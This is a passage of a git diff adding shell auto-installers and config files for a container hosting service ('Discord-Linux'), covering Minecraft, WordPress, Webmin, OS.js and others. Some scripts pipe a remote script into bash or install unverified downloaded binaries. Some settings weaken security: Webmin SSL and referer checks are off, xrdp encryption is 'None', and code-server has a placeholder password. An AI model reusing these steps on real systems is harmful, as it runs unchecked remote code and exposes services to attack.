https://packages.adoptium.net/artifactory/deb $(awk -F= '/^VERSION_CODENAME/{print$2}' /etc/os-release) main" | sudo tee /etc/apt/sources.list.d/adoptium.list + +cat /etc/apt/sources.list.d/adoptium.list + +sudo apt-get update + +DEBIAN_FRONTEND=noninteractive apt install temurin-17-jdk + diff --git a/debian/list b/debian/list new file mode 100644 index 0000000..37b34e1 --- /dev/null +++ b/debian/list @@ -0,0 +1,14 @@ +Software Currently Avalible for Debian: +To install use: auto-install packageName + +PackageName - Software URL + +webmin - https://www.webmin.com/ +osjs-webdesktop - https://www.os-js.org/ +wp - https://wordpress.org/ +hastebin - https://www.toptal.com/developers/hastebin/about.md +code-server - https://github.com/coder/code-server +jdk - https://adoptium.net/ +mc - https://papermc.io/ +secuNotify - https://docs.discord-linux.com/en/auto-installers#secunotify +send-to-log - https://docs.discord-linux.com/en/auto-installers#send-to-log-s2l diff --git a/debian/mc b/debian/mc new file mode 100644 index 0000000..a09728f --- /dev/null +++ b/debian/mc @@ -0,0 +1,64 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux MineCraft Server Automated installer" +echo "This will install MineCraft Sever on your system" +echo "A random port on your container will be selected." +printf "\n" +echo "Running this sever does require the Discord-Linux Power Plan" +echo "You may purchase this plan here: https://store.discord-linux.com/product/discord-power-upgrade/" +printf "\n" +echo "Sleeping for 30 seconds, please close this process if you do not wish to continue" + +sleep 30 + +wget -q -O - https://ssh.surf/notify | bash +notif "Welcome to the MineCraft Server installer for Discord-Linux, the installation is starting and will complete in 45 seconds" +apt update +useradd mc +mkdir -vp /home/mc +chown mc:mc /home/mc +wget -O /home/mc/server.jar https://api.papermc.io/v2/projects/paper/versions/1.18.2/builds/357/downloads/paper-1.18.2-357.jar + + +wget -O /home/mc/minecraft-server.json https://ssh.surf/install/mc/minecraft-server.json + + +wget -q -O /home/mc/eula.txt https://ssh.surf/install/mc/eula + +chown -R mc:mc + +su - mc -c "cd /home/mc/ && pm2 start minecraft-server.json" + +echo "sleeping 30 seconds to allow the server to generate" +sleep 30 + +echo "Shutting down the MC server for port configuration" + +su - mc -c "cd /home/mc/ && pm2 delete all" + +echo "killing any possible running instances of java" +pkill java -9 + + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) +sleep 10 +echo "Setting port in our config" +sed -i "s/25565/${port}/g" /home/mc/server.properties +sed -i "s/max-players=20/max-players=4/g" /home/mc/server.properties +sed -i "s/A Minecraft Server/An MC Server running on Discord-Linux/g" /home/mc/server.properties + +echo "Starting the server for final launch" +su - mc -c "cd /home/mc/ && pm2 start minecraft-server.json" +chown mc:mc /home/mc +echo "=========================" +echo "Installation is complete." +echo "=========================" + + +echo "Your installation has completed, connect to your MineCraft Server using the following: ssh.surf:$port" +notif "Your installation has completed, connect to your MineCraft Server using the following: ssh.surf:$port" +echo "Please allow up to 5 minutes for the server to start up" + diff --git a/debian/notif b/debian/notif new file mode 100644 index 0000000..8104ae2 Binary files /dev/null and b/debian/notif differ diff --git a/debian/osjs-webdesktop b/debian/osjs-webdesktop new file mode 100755 index 0000000..7ac073a --- /dev/null +++ b/debian/osjs-webdesktop @@ -0,0 +1,121 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux OSjs Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your installation when this process is complete." +echo "" +echo "" +echo "" +echo "Sleeping for 5 seconds, please close this process if you do not wish to continue" + +sleep 5 +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the OSjs Automated installer for Discord-Linux, we will begin by updating your system. Please wait..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential libpam-dev perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl python unzip zip + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +sh /var/tools/getsystemctl.sh + +notif "The system has been updated and systemD has been patched, we are now starting to install the required NPM's for OSjs" + +mkdir -vp /webos + +cd /webos && git clone https://github.com/os-js/OS.js.git + +mv /webos/OS.js /webos/OSjs + +cd /webos/OSjs && rm -f package-lock.json + +echo "Installing main packages..." +npm install + +npm update + +notif "The Core OSjs Packages have been installed, we are now starting to install the Applications for OSJS Via NPM" + +npm install @osjs/textpad-application +npm install --save --production @osjs/draw-application +npm install --save --production @osjs/filemanager-application +npm install @osjs/settings-application +npm install @osjs/writer-application +npm install --save --production @osjs/xterm-application +npm install --save --production @osjs/ace-application +npm install @osjs/xpra-application +npm install @osjs/vnc-application +npm install @osjs/epub-application +npm install @osjs/webodf-application +npm install @osjs/wolfenstein3d-application +npm install @osjs/tetris-application +npm install @osjs/standard-theme +npm install @osjs/standard-dark-theme +npm install @osjs/gnome-icons +npm install @osjs/freedesktop-sounds +npm install --save --production @osjs/pam-auth + +echo "Fixing detected vulns" + +npm audit fix + + + + +notif "We are almost finished, we are now configuring OSjs and starting the server" + +echo "removing config files..." +rm -f src/server/index.js + +rm -f src/server/config.js + +rm -f src/client/config.js + + +echo "Installing our own customized config files" + +wget -O src/server/index.js https://ssh.surf/install/osjs/osjs_server_index.js + +wget -O src/server/config.js https://ssh.surf/install/osjs/osjs_server_config.js + +wget -O src/client/config.js https://ssh.surf/install/osjs/osjs_client_config.js + +wget -O src/client/wallpaper.jpg https://ssh.surf/wallpaper.jpg + +wget -O osjsStart.json https://ssh.surf/install/osjs/osjsStart.json + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Setting port in our config" +sed -i "s/CUSTOM/${port}/g" src/server/config.js + +echo "Discovering all installed packages..." +npm run package:discover + +echo "Building the client..." +npm run build + +rm -f /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png + +wget -O /webos/OSjs/dist/f4cfc6708cf6bfc17d4b1e775f594ae2.png https://ssh.surf/wallpaper.png + +cd /webos/OSjs && pm2 start osjsStart.json + +echo "cd /webos/OSjs && pm2 start osjsStart.json" > /var/tools/osjsboot.sh + +chmod +x /var/tools/osjsboot.sh + +sed -i "s/#osjs/cd \/webos\/OSjs \&\& pm2 start osjsStart.json /g" /start.sh + +echo "Sending discord notification to your account:" +notif "Your OSJS installation has completed and should be running at this time, you may access your installation at: http://ssh.surf:$port" + +echo "Your OSJs installation has completed and should be running at this time, you may access your installation at: http://ssh.surf:$port" diff --git a/debian/secuNotify b/debian/secuNotify new file mode 100644 index 0000000..6b580f8 --- /dev/null +++ b/debian/secuNotify @@ -0,0 +1,44 @@ +#!/bin/bash +echo "Welcome to the secuNotify security system installer" +echo "This will install the secuNotify security system service for systemd" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif + +notif "Welcome to the secuNotify security system installer, We are preparing your installation..." +sleep 2 +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install rsyslog +notif "We have installed rsyslog restarting requrired services" +sleep 2 +service ssh stop +sleep 2 +service rsyslog start +sleep 2 +service ssh start +sleep 2 +notif "Downloading the secuNotify and firewallctl bins and installing them into /var/tools/" + +FILE=/etc/apache2/apache2.conf +if test -f "$FILE"; then +rm /etc/apache2/apache2.conf +wget -O /etc/apache2/apache2.conf https://ssh.surf/install/secu/apache2.conf +chmod 0644 /etc/apache2/apache2.conf +fi + + +wget -O /var/tools/secuNotify https://ssh.surf/install/secu/secuNotify +chmod +x /var/tools/secuNotify +sleep 2 +wget -O /var/tools/firewallctl https://ssh.surf/install/secu/csf +chmod +x /var/tools/firewallctl +notif "Downloading the secuNotify service and enabling it to run on boot" +sleep 2 +wget -O /etc/systemd/system/secuNotify.service https://ssh.surf/install/secu/secuNotify.service +sed -i 's/service ssh start/service rsyslog start \&\& service ssh start \&\& service secuNotify start/g' /start.sh +sleep 2 +service apache2 restart +sleep 2 +systemctl start secuNotify +sleep 2 +notif "The system is installed and secuNotify is running" +systemctl status secuNotify diff --git a/debian/send-to-log b/debian/send-to-log new file mode 100644 index 0000000..1292b6a --- /dev/null +++ b/debian/send-to-log @@ -0,0 +1,47 @@ +#!/bin/bash +echo "Welcome to the Send-To-Log system installer" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +sleep 2 +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential cmake git libjson-c-dev libwebsockets-dev screen + +notif Welcome to the Send-To-Log installer, we will pick a port and provide you a URL when complete. + +notif Cloning and Configuring our Software + +# Move to our tmp directory +cd /tmp +# Clone the repo +git clone https://github.com/tsl0922/ttyd.git +# Move and build! +cd ttyd && mkdir build && cd build +# Install +cd /tmp/ttyd/build && cmake .. +cd /tmp/ttyd/build && make && sudo make install + +# lets download our start up files backend and frontend. +wget -q -O /etc/systemd/system/s2l.service https://ssh.surf/install/s2l/s2l-service.service + +wget -q -O /etc/s2l.json https://ssh.surf/install/s2l/s2l-pm2.json + +wget -q -O /usr/bin/s2l https://ssh.surf/install/s2l/input.sh + +chmod +x /usr/bin/s2l + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +sed -i "s/changeme/${port}/g" /etc/s2l.json +sed -i "s/#s2lmain/systemctl start s2l \&\& sleep 5/g" /start.sh +sed -i "s/#s2lsecond/pm2 start \/etc\/s2l.json/g" /start.sh +cd / +systemctl start s2l +sleep 5 +pm2 start /etc/s2l.json + +echo "Done, you may access s2l at http://ssh.surf:$port" +notif Done, you may access s2l at http://ssh.surf:$port +notif Send commands using s2l commandhere or on the bot ^s commandhere diff --git a/debian/webmin b/debian/webmin new file mode 100755 index 0000000..5db49f0 --- /dev/null +++ b/debian/webmin @@ -0,0 +1,66 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Webmin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" +echo "" +echo "" +echo "" + +apt update +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the Webmin Automated installer for Discord-Linux, We are preparing your installation..." + + +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +DEBIAN_FRONTEND=noninteractive apt-get -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" install -y shared-mime-info perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python unzip + +#yes | DEBIAN_FRONTEND=noninteractive apt -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" --fix-broken install -f +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container +rm /etc/apt/apt.conf.d/docker-gzip-indexes + apt-get -y purge apt-show-versions +rm /var/lib/apt/lists/*lz4 + apt-get -o Acquire::GzipIndexes=false update + +notif "We are building show versions, this may take a while..." + +apt install -y apt-show-versions + +sh /var/tools/getsystemctl.sh + +wget -O /tmp/webmin-current.deb http://www.webmin.com/download/deb/webmin-current.deb + +dpkg -i /tmp/webmin-current.deb + + +notif "Finding a port and configuring webmin" + +hostname=$(hostname) + +echo "Grabbing a port from your container from our API" +port=$(curl -s https://findport.ssh.surf/?id=$hostname) + +echo "Disabling SSL in webmin for proxy support" +sed -i 's/ssl=1/ssl=0/g' /etc/webmin/miniserv.conf +echo "disabling refer checks to allow for vhost usage" +sed -i 's/referers_none=1/referers_none=0/g' /etc/webmin/config +sed -i 's/referer=1/referer=0/g' /etc/webmin/config +echo "Setting Webmin Port" +sed -i "s/10000/port=${port}/g" /etc/webmin/miniserv.conf + +rm -f /tmp/webmin_1.984_all.deb + +service webmin start + +sed -i "s/#webmin/service webmin start/g" /start.sh + +notif "Your webmin installation has completed, you may access your installation at: http://ssh.surf:$port" + +echo "Your installation has completed, you may access your installation at: http://ssh.surf:$port" + + diff --git a/debian/wp b/debian/wp new file mode 100644 index 0000000..ab834aa --- /dev/null +++ b/debian/wp @@ -0,0 +1,149 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux Wordpress Automated installer" +echo "This will install Apache, MySQL, PHP and Wordpress on your system" +echo "The install will be located at /var/www/html" + +echo "downloading the Notification Bot" + + +wget -q -O /usr/bin/notif https://ssh.surf/debian/notif && chmod +x /usr/bin/notif + +apt update +DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends tzdata + +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y +notif "Welcome to the Wordpress Automated installer for Discord-Linux, We are preparing your installation..." + + +echo "Installing dependencies for Apache and PHP" +DEBIAN_FRONTEND=noninteractive apt-get -y install build-essential unzip zip software-properties-common + + +notif "Installing dependencies for Apache and PHP" +#sudo add-apt-repository ppa:ondrej/php +#sudo apt update +DEBIAN_FRONTEND=noninteractive sudo apt install php -y +DEBIAN_FRONTEND=noninteractive sudo apt install php-gd php-curl php-xml php-soap php-mbstring php-mysql imagemagick zip unzip libapache2-mod-php php-zip php-intl php-imagick -y + + + +sed -i 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf + + +DEBIAN_FRONTEND=noninteractive apt-get -y install apache2 + +sudo a2enmod php8.0 +sudo a2enmod rewrite + +notif "Installing MySQL 8" +echo "Installing MySQL 8" +DEBIAN_FRONTEND=noninteractive apt-get -y install default-mysql-server + + +echo "Starting MySQL 8" +service mariadb start +notif "Sleeping for 5 seconds to allow MySQL to start." +echo "Sleeping 5 seconds to allow MySQL to start" +sleep 5 + +echo "creating database with random strings for dbname, dbuser and dbpassword" +DBNAME=$(openssl rand -hex 12) +USERNAME=$(openssl rand -hex 12) +PASSWORD=$(openssl rand -hex 12) + +mysql -uroot -e "CREATE DATABASE $DBNAME CHARACTER SET utf8 COLLATE utf8_general_ci"; +mysql -uroot -e "CREATE USER $USERNAME@'127.0.0.1' IDENTIFIED BY '$PASSWORD'"; +mysql -uroot -e "GRANT ALL PRIVILEGES ON $DBNAME.* TO '$USERNAME'@'127.0.0.1'"; + +notif "We have created the following Database information for this installaton: Database:$DBNAME|Username:$USERNAME|Password:$PASSWORD" + + + +echo "Database and user created." + +#https://askubuntu.com/questions/916199/install-apt-show-versions-inside-an-ubuntu-docker-container + +echo "Fixing SystemD" + +sh /var/tools/getsystemctl.sh + +echo "Installing Wordpress base" + +wget -O /var/www/html/latest.tar.gz https://wordpress.org/latest.tar.gz +#unzip wordpress +cd /var/www/html && tar -zxvf latest.tar.gz +#change dir to wordpress +cd /var/www/html/wordpress +#copy file to parent dir +cp -rf . .. +#move back to parent dir +cd .. +#remove files from wordpress folder +rm -R wordpress +#create wp config +cp wp-config-sample.php wp-config.php + +echo "Setting up WP DB Config" +#set database details with perl find and replace +perl -pi -e "s/database_name_here/$DBNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/username_here/$USERNAME/g" /var/www/html/wp-config.php +perl -pi -e "s/password_here/$PASSWORD/g" /var/www/html/wp-config.php +perl -pi -e "s/localhost/127.0.0.1/g" /var/www/html/wp-config.php + + +#set WP salts +perl -i -pe' + BEGIN { + @chars = ("a" .. "z", "A" .. "Z", 0 .. 9); + push @chars, split //, "!@#$%^&*()-_ []{}<>~\`+=,.;:/?|"; + sub salt { join "", map $chars[ rand @chars ], 1 .. 64 } + } + s/put your unique phrase here/salt()/ge +' /var/www/html/wp-config.php + +#create uploads folder and set permissions +mkdir /var/www/html/wp-content/uploads +chmod 775 /var/www/html/wp-content/uploads +mkdir -p /var/www/temp +chmod 755 /var/www/temp + +echo "Installing WP CLI" +# installing wp cli +curl -O https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar +php wp-cli.phar --info +chmod +x wp-cli.phar +sudo mv wp-cli.phar /usr/local/bin/wp + +echo "Setting Custom ENV" +cd /var/www/html/ && wp config set FS_METHOD \'direct\' --raw --type=constant --allow-root +cd /var/www/html/ && wp config set 'WP_TEMP_DIR' \'/var/www/temp\' --raw --type=constant --allow-root + +echo "repairing ownership and permissions" +chown -R www-data:www-data /var/www/html/ +chown -R www-data:www-data /var/www/temp + + +find /var/www/html/ -type d -exec chmod 755 {} \; +find /var/www/html/ -type f -exec chmod 644 {} \; + +rm -f /var/www/html/index.html +sed -i "3 iif ( (\!empty( \$_SERVER['HTTP_X_FORWARDED_HOST'])) || (\!empty( \$_SERVER['HTTP_X_FORWARDED_FOR'])) ) { \$_SERVER['HTTPS'] = 'on'; }" /var/www/html/wp-config.php +echo "Cleaning..." +#remove zip file +rm latest.tar.gz + +echo "Setting serverName ENV" +echo "serverName $(hostname)" >> /etc/apache2/apache2.conf + +echo "starting webserver" + +service apache2 restart +sed -i "s/#wp/service mysql start \&\& service apache2 start/g" /start.sh +echo "=========================" +echo "Installation is complete." +echo "=========================" + +notif "The Wordpress installation is complete, please complete your installation at your HTTP Port." + + diff --git a/docs/dlinux-docs.pdf b/docs/dlinux-docs.pdf new file mode 100644 index 0000000..b02f251 Binary files /dev/null and b/docs/dlinux-docs.pdf differ diff --git a/hastebin-64 b/hastebin-64 new file mode 100644 index 0000000..35cca6e --- /dev/null +++ b/hastebin-64 @@ -0,0 +1,44 @@ +#/bin/bash + +echo "Welcome to the Discord-Linux HasteBin Automated installer" +echo "This installer will automatically select a port on your container." +echo "I will let you know how to access your Webmin installation when installation is complete." +echo "" + + +echo "downloading the Notification Bot" +wget -q -O /usr/bin/notif https://ssh.surf/notify-x64 && chmod +x /usr/bin/notif +echo "Done" + +notif "Welcome to the HasteBin Automated installer for Discord-Linux, We are preparing your installation..." + +apt update +DEBIAN_FRONTEND=noninteractive apt upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" -y + +cd /home + +notif "Cloning into /home/haste-server" +git clone https://github.com/seejohnrun/haste-server.git + +cd haste-server + +npm install + +npm update + +sed -i "s/7777/10002/g" config.js + + +notif "Configuring HasteBin and starting it's server" +wget -O hasteBinStart.json https://ssh.surf/install/hastebin + +cd /home/haste-server && pm2 start hasteBinStart.json + +sed -i "s/#hastebin/cd \/home\/haste-server \&\& pm2 start hasteBinStart.json \&\& relayPort 10002/g" /start.sh + +relayPort 10002 +sleep 2 + +url=$(grep -hPo "(?<=listening ).*" /root/.pm2/logs/Relay-10002-out.log | head -n 1 | sed 's/$/.virt.fun/') + +notif "Your HasteBin is now running at https://$url" diff --git a/index.php b/index.php new file mode 100644 index 0000000..9127349 --- /dev/null +++ b/index.php @@ -0,0 +1,6 @@ + diff --git a/install/XRDP/new.bmp b/install/XRDP/new.bmp new file mode 100644 index 0000000..3ab1442 Binary files /dev/null and b/install/XRDP/new.bmp differ diff --git a/install/XRDP/xrdp.ini b/install/XRDP/xrdp.ini new file mode 100644 index 0000000..85dba19 --- /dev/null +++ b/install/XRDP/xrdp.ini @@ -0,0 +1,230 @@ +[Globals] +; xrdp.ini file version number +ini_version=1 + +; fork a new process for each incoming connection +fork=true + +; ports to listen on, number alone means listen on all interfaces +; 0.0.0.0 or :: if ipv6 is configured +; space between multiple occurrences +; +; Examples: +; port=3389 +; port=unix://./tmp/xrdp.socket +; port=tcp://.:3389 127.0.0.1:3389 +; port=tcp://:3389 *:3389 +; port=tcp://:3389 192.168.1.1:3389 +; port=tcp6://.:3389 ::1:3389 +; port=tcp6://:3389 *:3389 +; port=tcp6://{}:3389 {FC00:0:0:0:0:0:0:1}:3389 +; port=vsock://: +port=3389 + +; 'port' above should be connected to with vsock instead of tcp +; use this only with number alone in port above +; prefer use vsock://: above +use_vsock=false + +; regulate if the listening socket use socket option tcp_nodelay +; no buffering will be performed in the TCP stack +tcp_nodelay=true + +; regulate if the listening socket use socket option keepalive +; if the network connection disappear without close messages the connection will be closed +tcp_keepalive=true + +; set tcp send/recv buffer (for experts) +#tcp_send_buffer_bytes=32768 +#tcp_recv_buffer_bytes=32768 + +; security layer can be 'tls', 'rdp' or 'negotiate' +; for client compatible layer +security_layer=negotiate + +; minimum security level allowed for client for classic RDP encryption +; use tls_ciphers to configure TLS encryption +; can be 'none', 'low', 'medium', 'high', 'fips' +crypt_level=None + +; X.509 certificate and private key +; openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365 +; note this needs the user xrdp to be a member of the ssl-cert group, do with e.g. +;$ sudo adduser xrdp ssl-cert +certificate= +key_file= + +; set SSL protocols +; can be comma separated list of 'SSLv3', 'TLSv1', 'TLSv1.1', 'TLSv1.2', 'TLSv1.3' +ssl_protocols=TLSv1.2, TLSv1.3 +; set TLS cipher suites +#tls_ciphers=HIGH + +; Section name to use for automatic login if the client sends username +; and password. If empty, the domain name sent by the client is used. +; If empty and no domain name is given, the first suitable section in +; this file will be used. +autorun= + +allow_channels=true +allow_multimon=true +bitmap_cache=true +bitmap_compression=true +bulk_compression=true +#hidelogwindow=true +max_bpp=32 +new_cursors=true +; fastpath - can be 'input', 'output', 'both', 'none' +use_fastpath=both +; when true, userid/password *must* be passed on cmd line +#require_credentials=true +; You can set the PAM error text in a gateway setup (MAX 256 chars) +#pamerrortxt=change your password according to policy at http://url + +; +; colors used by windows in RGB format +; +blue=009cb5 +grey=dedede +#black=000000 +#dark_grey=808080 +#blue=08246b +#dark_blue=08246b +#white=ffffff +#red=ff0000 +#green=00ff00 +#background=626c72 + + + +; +; configure login screen +; + +; Login Screen Window Title +ls_title=Discord-Linux RDP Login + +; top level window background color in RGB format +ls_top_window_bg_color=000000 + +; width and height of login screen +ls_width=350 +ls_height=430 + +; login screen background color in RGB format +ls_bg_color=dedede + +; optional background image filename (bmp format). +#ls_background_image= + +; logo +; full path to bmp-file or file in shared folder +#ls_logo_filename=/etc/xrdp/codingworldf.bmp +ls_logo_filename=/etc/xrdp/new.bmp +ls_logo_x_pos=55 +ls_logo_y_pos=50 + +; for positioning labels such as username, password etc +ls_label_x_pos=30 +ls_label_width=65 + +; for positioning text and combo boxes next to above labels +ls_input_x_pos=110 +ls_input_width=210 + +; y pos for first label and combo box +ls_input_y_pos=220 + +; OK button +ls_btn_ok_x_pos=142 +ls_btn_ok_y_pos=370 +ls_btn_ok_width=85 +ls_btn_ok_height=30 + +; Cancel button +ls_btn_cancel_x_pos=237 +ls_btn_cancel_y_pos=370 +ls_btn_cancel_width=85 +ls_btn_cancel_height=30 + +[Logging] +LogFile=xrdp.log +LogLevel=DEBUG +EnableSyslog=true +SyslogLevel=DEBUG +; LogLevel and SysLogLevel could by any of: core, error, warning, info or debug + +[Channels] +; Channel names not listed here will be blocked by XRDP. +; You can block any channel by setting its value to false. +; IMPORTANT! All channels are not supported in all use +; cases even if you set all values to true. +; You can override these settings on each session type +; These settings are only used if allow_channels=true +rdpdr=true +rdpsnd=true +drdynvc=true +cliprdr=true +rail=true +xrdpvr=true +tcutils=true + +; for debugging xrdp, in section xrdp1, change port=-1 to this: +#port=/tmp/.xrdp/xrdp_display_10 + +; for debugging xrdp, add following line to section xrdp1 +#chansrvport=/tmp/.xrdp/xrdp_chansrv_socket_7210 + + +; +; Session types +; + +; Some session types such as Xorg, X11rdp and Xvnc start a display server. +; Startup command-line parameters for the display server are configured +; in sesman.ini. See and configure also sesman.ini. +[Xorg] +name=Discord-Linux Personal +lib=libxup.so +username=ask +password=ask +ip=127.0.0.1 +port=-1 +code=20 +#[Xvnc] +#name=Xvnc +#lib=libvnc.so +#username=ask +#password=ask +#ip=127.0.0.1 +#port=-1 +##xserverbpp=24 +#delay_ms=2000 + +#[vnc-any] +#name=vnc-any +#lib=libvnc.so +#ip=ask +#port=ask5900 +#username=na +#password=ask +#pamusername=asksame +#pampassword=asksame +#pamsessionmng=127.0.0.1 +#delay_ms=2000 + +#[neutrinordp-any] +#name=neutrinordp-any +#lib=libxrdpneutrinordp.so +#ip=ask +#port=ask3389 +#username=ask +#password=ask + +#; You can override the common channel settings for each session type +#channel.rdpdr=true +#channel.rdpsnd=true +#channel.drdynvc=true +#channel.cliprdr=true +#channel.rail=true +#channel.xrdpvr=true \ No newline at end of file diff --git a/install/code-server/config.yaml b/install/code-server/config.yaml new file mode 100644 index 0000000..7b29b14 --- /dev/null +++ b/install/code-server/config.yaml @@ -0,0 +1,4 @@ +bind-addr: 127.0.0.1:8080 +auth: password +password: replaceme +cert: false diff --git a/install/code-server/startCodeServer.json b/install/code-server/startCodeServer.json new file mode 100644 index 0000000..35630da --- /dev/null +++ b/install/code-server/startCodeServer.json @@ -0,0 +1,9 @@ +{ + "apps": [ + { + "name": "Code-Server", + "script": "/var/tools/startCodeServer.sh", + "args" : "" + } + ] +} diff --git a/install/code-server/startCodeServer.sh b/install/code-server/startCodeServer.sh new file mode 100644 index 0000000..f41c5c3 --- /dev/null +++ b/install/code-server/startCodeServer.sh @@ -0,0 +1,2 @@ +#!/bin/bash +code-server diff --git a/install/hastebin b/install/hastebin new file mode 100644 index 0000000..af5c74c --- /dev/null +++ b/install/hastebin @@ -0,0 +1,9 @@ +{ + "apps": [ + { + "name": "HasteBin", + "script": "node server.js", + "args" : "" + } + ] +} diff --git a/install/mc/eula b/install/mc/eula new file mode 100644 index 0000000..1967f86 --- /dev/null +++ b/install/mc/eula @@ -0,0 +1,3 @@ +#By changing the setting below to TRUE you are indicating your agreement to our EULA (https://account.mojang.com/documents/minecraft_eula). +#Mon Mar 20 21:15:37 PDT 2017 +eula=true diff --git a/install/mc/minecraft-server.json b/install/mc/minecraft-server.json new file mode 100644 index 0000000..9affd03 --- /dev/null +++ b/install/mc/minecraft-server.json @@ -0,0 +1,9 @@ +{ + "apps": [ + { + "name": "MineCraft Server", + "script": "java -Xms960M -Xmx960M -jar server.jar --nogui", + "args" : "" + } + ] +} diff --git a/install/mysql/mysql.list b/install/mysql/mysql.list new file mode 100644 index 0000000..86c60ba --- /dev/null +++ b/install/mysql/mysql.list @@ -0,0 +1,8 @@ +### THIS FILE IS AUTOMATICALLY CONFIGURED ### +# You may comment out entries below, but any other modifications may be lost. +# Use command 'dpkg-reconfigure mysql-apt-config' as root for modifications. +deb http://repo.mysql.com/apt/debian/ bullseye mysql-apt-config +deb http://repo.mysql.com/apt/debian/ bullseye mysql-8.0 +deb http://repo.mysql.com/apt/debian/ bullseye mysql-tools +#deb http://repo.mysql.com/apt/debian/ bullseye mysql-tools-preview +deb-src http://repo.mysql.com/apt/debian/ bullseye mysql-8.0 diff --git a/install/osjs/osjsStart.json b/install/osjs/osjsStart.json new file mode 100644 index 0000000..e6bc784 --- /dev/null +++ b/install/osjs/osjsStart.json @@ -0,0 +1,9 @@ +{ + "apps": [ + { + "name": "OSjs", + "script": "npm run serve", + "args" : "" + } + ] +} diff --git a/install/osjs/osjs_client_config.js b/install/osjs/osjs_client_config.js new file mode 100644 index 0000000..59d9a49 --- /dev/null +++ b/install/osjs/osjs_client_config.js @@ -0,0 +1,65 @@ +/* + * OS.js - JavaScript Cloud/Web Desktop Platform + * + * Copyright (c) 2011-2020, Anders Evenrud + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, t$ + * list of conditions and the following disclaimer + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"$ + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLI$ + * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE$ + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMA$ + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF TH$ + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * @author Anders Evenrud + * @licence Simplified BSD License + */ + +// +// This is the client configuration tree. +// Guide: https://manual.os-js.org/v3/config/#client +// Complete config tree: https://github.com/os-js/osjs-client/blob/master/src/$ +// +import wallpaper from './wallpaper.jpg'; + +export default { + auth: { + ui: { + title: 'Discord-Linux Web OS', + stamp: 'Discord-Linux-OSJS v-2.4' + } + }, + + desktop: { + settings: { + background: { + src: wallpaper, + color: '#000', + style: 'cover' + } + } + } + +}; + + + +// module.exports = { +// /// ws: { +// /// uri: '/ws' +// /// } + +// }; diff --git a/install/osjs/osjs_server_config.js b/install/osjs/osjs_server_config.js new file mode 100644 index 0000000..82af0d2 --- /dev/null +++ b/install/osjs/osjs_server_config.js @@ -0,0 +1,28 @@ +// +// This is the server configuration tree. +// Guide: https://manual.os-js.org/v3/config/#server +// Complete config tree: https://github.com/os-js/osjs-server/blob/master/sr$ +// + +const path = require('path'); +const root 